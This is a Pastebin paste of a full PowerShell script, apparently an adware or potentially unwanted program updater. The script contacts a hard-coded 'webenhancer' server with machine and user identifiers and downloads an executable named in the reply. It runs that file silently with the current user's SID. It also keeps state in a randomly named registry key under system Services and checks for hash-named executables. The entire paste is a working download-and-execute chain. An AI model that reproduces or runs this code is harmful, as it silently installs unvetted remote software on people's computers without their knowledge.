Advertisement
Guest User

Untitled

a guest
Aug 29th, 2016
394
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. $SERVER_ADDRESS = "http://www.technologietrudeau.com/webenhancer/updateTask?v=n11.6.1.77&os_mj=6&os_mn=1&os_bitness=64&mid=8526753d4ed324c0f05c9e7165dccff4&uid=276AA6DD5971F721D5A976367FC4EA10&aid=4770&aid2=none&ts=1467441801&ts2="
  2.  
  3. $FILES_TO_TEST = "c:\program files\aa545134df2a16ba33647c8e419b007f\269347f49726efd8700a2b9b3661aac9.exe",,"c:\program files\aa545134df2a16ba33647c8e419b007f\19380d9d89f66d11a1ffd9da3979e980.exe"
  4.  
  5. $RETRY_REGISTRY_KEY = "HKLM:\SYSTEM\CurrentControlSet\Services\3e68103aa9897e37df61af5305e1e11e"
  6.  
  7. $RETRY_COUNT_VALUE = "phqgh"
  8.  
  9. $RETRY_VERSION_VALUE = "umeay"
  10.  
  11.  
  12.  #
  13. # All of the following variables are generated at runtime
  14. #
  15. # $SERVER_ADDRESS
  16. # $FILES_TO_TEST
  17. # $RETRY_REGISTRY_KEY
  18. # $RETRY_COUNT_VALUE
  19. # $RETRY_VERSION_VALUE
  20.  
  21. $TEMP_FILE = [System.IO.Path]::GetTempFileName() + ".exe"
  22.  
  23. $INSTALLER_DOWNLOAD_URL = ""
  24. $RETRY_COUNT = 0
  25. $RETRY_VERSION = ""
  26. $ACTIVE_SID = ""
  27.  
  28. function WriteDebugInfoToRegistry( $value, $message )
  29. {
  30.     if(!(Test-Path $RETRY_REGISTRY_KEY))
  31.     {
  32.         New-Item -Path $RETRY_REGISTRY_KEY -Force | Out-Null
  33.     }
  34.    
  35.     if(!((Get-ItemProperty $RETRY_REGISTRY_KEY -Name $value -ea 0).$value))
  36.     {
  37.         New-ItemProperty -Path $RETRY_REGISTRY_KEY -Name $value -PropertyType String -Value $message
  38.     }
  39.     else
  40.     {
  41.         Set-ItemProperty -Path $RETRY_REGISTRY_KEY -Name $value -Value $message
  42.     }
  43. }
  44.  
  45. function GetCurrentUserSID( $ACTIVE_SID )
  46. {
  47.     $current_user = Gwmi Win32_ComputerSystem -Comp "."
  48.  
  49.     write-host $current_user.Name
  50.     write-host $current_user.UserName
  51.  
  52.     $user_name = $current_user.UserName
  53.  
  54.     if([string]::IsNullOrEmpty($user_name))
  55.     {
  56.         $user_name = query user /server:localhost 2>&1 | select -skip 1
  57.         $user_name = $user_name.Trim()
  58.         write-host $user_name
  59.  
  60.         $user_name = ($user_name.split(" ", 2))[0]
  61.         $user_name = $user_name.Trim()
  62.         write-host $user_name
  63.  
  64.         if(![string]::IsNullOrEmpty($current_user.Name))
  65.         {
  66.             $user_name = $current_user.Name + "\" + $user_name
  67.             write-host $user_name
  68.         }
  69.     }
  70.  
  71.     Try
  72.     {
  73.         $user_account = New-Object System.Security.Principal.NTAccount($user_name)
  74.         $user_sid = $user_account.Translate([System.Security.Principal.SecurityIdentifier])
  75.     }
  76.     Catch
  77.     {
  78.         write-host $_.Exception.Message
  79.         WriteDebugInfoToRegistry "SID" $_.Exception.Message
  80.         ExitWithCode 600
  81.     }
  82.  
  83.     if([string]::IsNullOrEmpty($user_sid.Value))
  84.     {
  85.         WriteDebugInfoToRegistry "SID" "SID cannot be determined!"
  86.         ExitWithCode 600
  87.     }
  88.  
  89.     write-host "SID:" $user_sid.Value
  90.     $script:ACTIVE_SID = $user_sid.Value
  91.  
  92.     WriteDebugInfoToRegistry "SID" $script:ACTIVE_SID
  93. }
  94.  
  95. function ExitWithCode
  96. {
  97.     param
  98.     (
  99.         $exitcode
  100.     )
  101.  
  102.     $host.SetShouldExit($exitcode)
  103.     exit $exitcode
  104. }
  105.  
  106. function GetRetryParameters($RETRY_VERSION, $RETRY_COUNT)
  107. {
  108.     if(!(Test-Path $RETRY_REGISTRY_KEY))
  109.     {
  110.         return $false
  111.     }
  112.  
  113.     if(!((Get-ItemProperty $RETRY_REGISTRY_KEY -Name $RETRY_VERSION_VALUE -ea 0).$RETRY_VERSION_VALUE))
  114.     {
  115.         return $false
  116.     }
  117.  
  118.     $script:RETRY_VERSION = (Get-ItemProperty $RETRY_REGISTRY_KEY $RETRY_VERSION_VALUE).$RETRY_VERSION_VALUE
  119.  
  120.     $script:RETRY_COUNT = (Get-ItemProperty $RETRY_REGISTRY_KEY $RETRY_COUNT_VALUE).$RETRY_COUNT_VALUE
  121.  
  122.     $script:RETRY_COUNT = $script:RETRY_COUNT + 1
  123.  
  124.     Set-ItemProperty -Path $RETRY_REGISTRY_KEY -Name $RETRY_COUNT_VALUE -Value $script:RETRY_COUNT
  125.  
  126.     return $true
  127. }
  128.  
  129. function SetRetryParameters($retry_version)
  130. {
  131.     if(!(Test-Path $RETRY_REGISTRY_KEY))
  132.     {
  133.         New-Item -Path $RETRY_REGISTRY_KEY -Force | Out-Null
  134.         New-ItemProperty -Path $RETRY_REGISTRY_KEY -Name $RETRY_VERSION_VALUE -PropertyType String -Value $retry_version
  135.         New-ItemProperty -Path $RETRY_REGISTRY_KEY -Name $RETRY_COUNT_VALUE -PropertyType DWord -Value 0
  136.         return
  137.     }
  138.  
  139.     if(!((Get-ItemProperty $RETRY_REGISTRY_KEY -Name $RETRY_VERSION_VALUE -ea 0).$RETRY_VERSION_VALUE))
  140.     {
  141.         New-ItemProperty -Path $RETRY_REGISTRY_KEY -Name $RETRY_VERSION_VALUE -PropertyType String -Value $retry_version
  142.         Set-ItemProperty -Path $RETRY_REGISTRY_KEY -Name $RETRY_COUNT_VALUE -Value 0
  143.     }
  144. }
  145.  
  146. function DeleteRetryParameters()
  147. {
  148.     if((Test-Path $RETRY_REGISTRY_KEY))
  149.     {
  150.         Remove-Item -Path $RETRY_REGISTRY_KEY -Recurse
  151.     }
  152. }
  153.  
  154. function VerifyInstalled
  155. {
  156.     foreach($file in $FILES_TO_TEST)
  157.     {
  158.         $exists = Test-Path -path $file
  159.         if(!$exists)
  160.         {
  161.             return $false
  162.         }
  163.     }
  164.  
  165.     DeleteRetryParameters
  166.  
  167.     return $true
  168. }
  169.  
  170. function DownloadInstallerInfo($url, $INSTALLER_DOWNLOAD_URL)
  171. {
  172.     $qualified_url = ""
  173.  
  174.     if( GetRetryParameters $RETRY_VERSION $RETRY_COUNT )
  175.     {
  176.         $qualified_url = [string]::Format("{0}&retry_count={1}&retry_version={2}", $url, $RETRY_COUNT, $RETRY_VERSION)
  177.     }
  178.     else
  179.     {
  180.         $qualified_url = [string]::Format("{0}&retry_count=&retry_version=", $url)
  181.     }
  182.  
  183.     Try
  184.     {
  185.         if( $PSVersionTable.PSVersion.Major -ge 3 )
  186.         {
  187.             $file_info = Invoke-RestMethod $qualified_url
  188.  
  189.             write-host $file_info
  190.             write-host $file_info.download_url
  191.             write-host $file_info.version
  192.  
  193.             $script:INSTALLER_DOWNLOAD_URL = $file_info.download_url
  194.  
  195.             SetRetryParameters $file_info.version
  196.         }
  197.         else
  198.         {
  199.             $json_file = [System.IO.Path]::GetTempFileName()
  200.  
  201.             if( DownloadFile $qualified_url $json_file )
  202.             {
  203.                 $raw_json = (Get-Content $json_file).ToString();
  204.  
  205.                 write-host $raw_json
  206.  
  207.                 $token = "`"download_url`"`:", "`"version`"`:"
  208.                 $option = [System.StringSplitOptions]::RemoveEmptyEntries
  209.  
  210.                 $result = [String] $raw_json.Split($token, $option)
  211.  
  212.                 Write-Host $result
  213.  
  214.                 $result = $result -replace '[{ }]',""
  215.                 $result = $result -replace '\\',""
  216.                 $result = $result -replace '"',""
  217.  
  218.                 Write-Host $result
  219.  
  220.                 $download_url, $version = $result.Split(",", 2, $option)
  221.                 $download_url = $download_url.Trim()
  222.                 $version = $version.Trim()
  223.  
  224.                 Write-Host $download_url
  225.                 Write-Host $version
  226.  
  227.                 $script:INSTALLER_DOWNLOAD_URL = $download_url
  228.  
  229.                 SetRetryParameters $version
  230.  
  231.                 Remove-Item $json_file
  232.             }
  233.             else
  234.             {
  235.                 return $false
  236.             }
  237.         }
  238.     }
  239.     Catch [System.Net.WebException]
  240.     {
  241.         write-host $_.Exception.Message
  242.         WriteDebugInfoToRegistry "DownloadInstallerInfo" $_.Exception.Message
  243.         ExitWithCode 100
  244.     }
  245.     Catch
  246.     {
  247.         write-host $_.Exception.Message
  248.         WriteDebugInfoToRegistry "DownloadInstallerInfo" $_.Exception.Message
  249.         ExitWithCode 200
  250.     }
  251.  
  252.     return $true
  253. }
  254.  
  255. function DownloadFile($url, $temp_file)
  256. {
  257.     Try
  258.     {
  259.         write-host $url
  260.  
  261.         if( $PSVersionTable.PSVersion.Major -ge 3 )
  262.         {
  263.             Invoke-WebRequest $url -OutFile $temp_file
  264.         }
  265.         else
  266.         {
  267.             $wc = New-Object System.Net.WebClient
  268.             $wc.DownloadFile($url, $temp_file)
  269.         }
  270.     }
  271.     Catch [System.Net.WebException]
  272.     {
  273.         write-host $_.Exception.Message
  274.         WriteDebugInfoToRegistry "DownloadFile" $_.Exception.Message
  275.         ExitWithCode 300
  276.     }
  277.     Catch
  278.     {
  279.         write-host $_.Exception.Message
  280.         WriteDebugInfoToRegistry "DownloadFile" $_.Exception.Message
  281.         ExitWithCode 400
  282.     }
  283.  
  284.     return $true
  285. }
  286.  
  287. write-host "Version: " $PSVersionTable.PSVersion.Major.ToString()
  288.  
  289. if(VerifyInstalled)
  290. {
  291.     ExitWithCode 1
  292. }
  293.  
  294. if(!(DownloadInstallerInfo $SERVER_ADDRESS $INSTALLER_DOWNLOAD_URL))
  295. {
  296.     ExitWithCode 2
  297. }
  298.  
  299. if(!(DownloadFile $INSTALLER_DOWNLOAD_URL $TEMP_FILE))
  300. {
  301.     ExitWithCode 3
  302. }
  303.  
  304. if(0 -lt (Get-Item $TEMP_FILE).length)
  305. {
  306.     write-host $TEMP_FILE
  307.  
  308.     GetCurrentUserSID $ACTIVE_SID
  309.  
  310.     $arguments = "/S /UPDATE /UPDATE_FROM_NDI /SID " + $ACTIVE_SID
  311.  
  312.     write-host $arguments
  313.  
  314.     WriteDebugInfoToRegistry "CommanLine" $arguments
  315.  
  316.     Try
  317.     {
  318.         Start-Process $TEMP_FILE $arguments -Wait -NoNewWindow
  319.     }
  320.     Catch
  321.     {
  322.         write-host $_.Exception.Message
  323.         WriteDebugInfoToRegistry "Start-Process" $_.Exception.Message
  324.         ExitWithCode 500
  325.     }
  326. }
  327.  
  328. Remove-Item $TEMP_FILE
  329.  
  330. ExitWithCode 99 # He shoots! He scores!!!
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement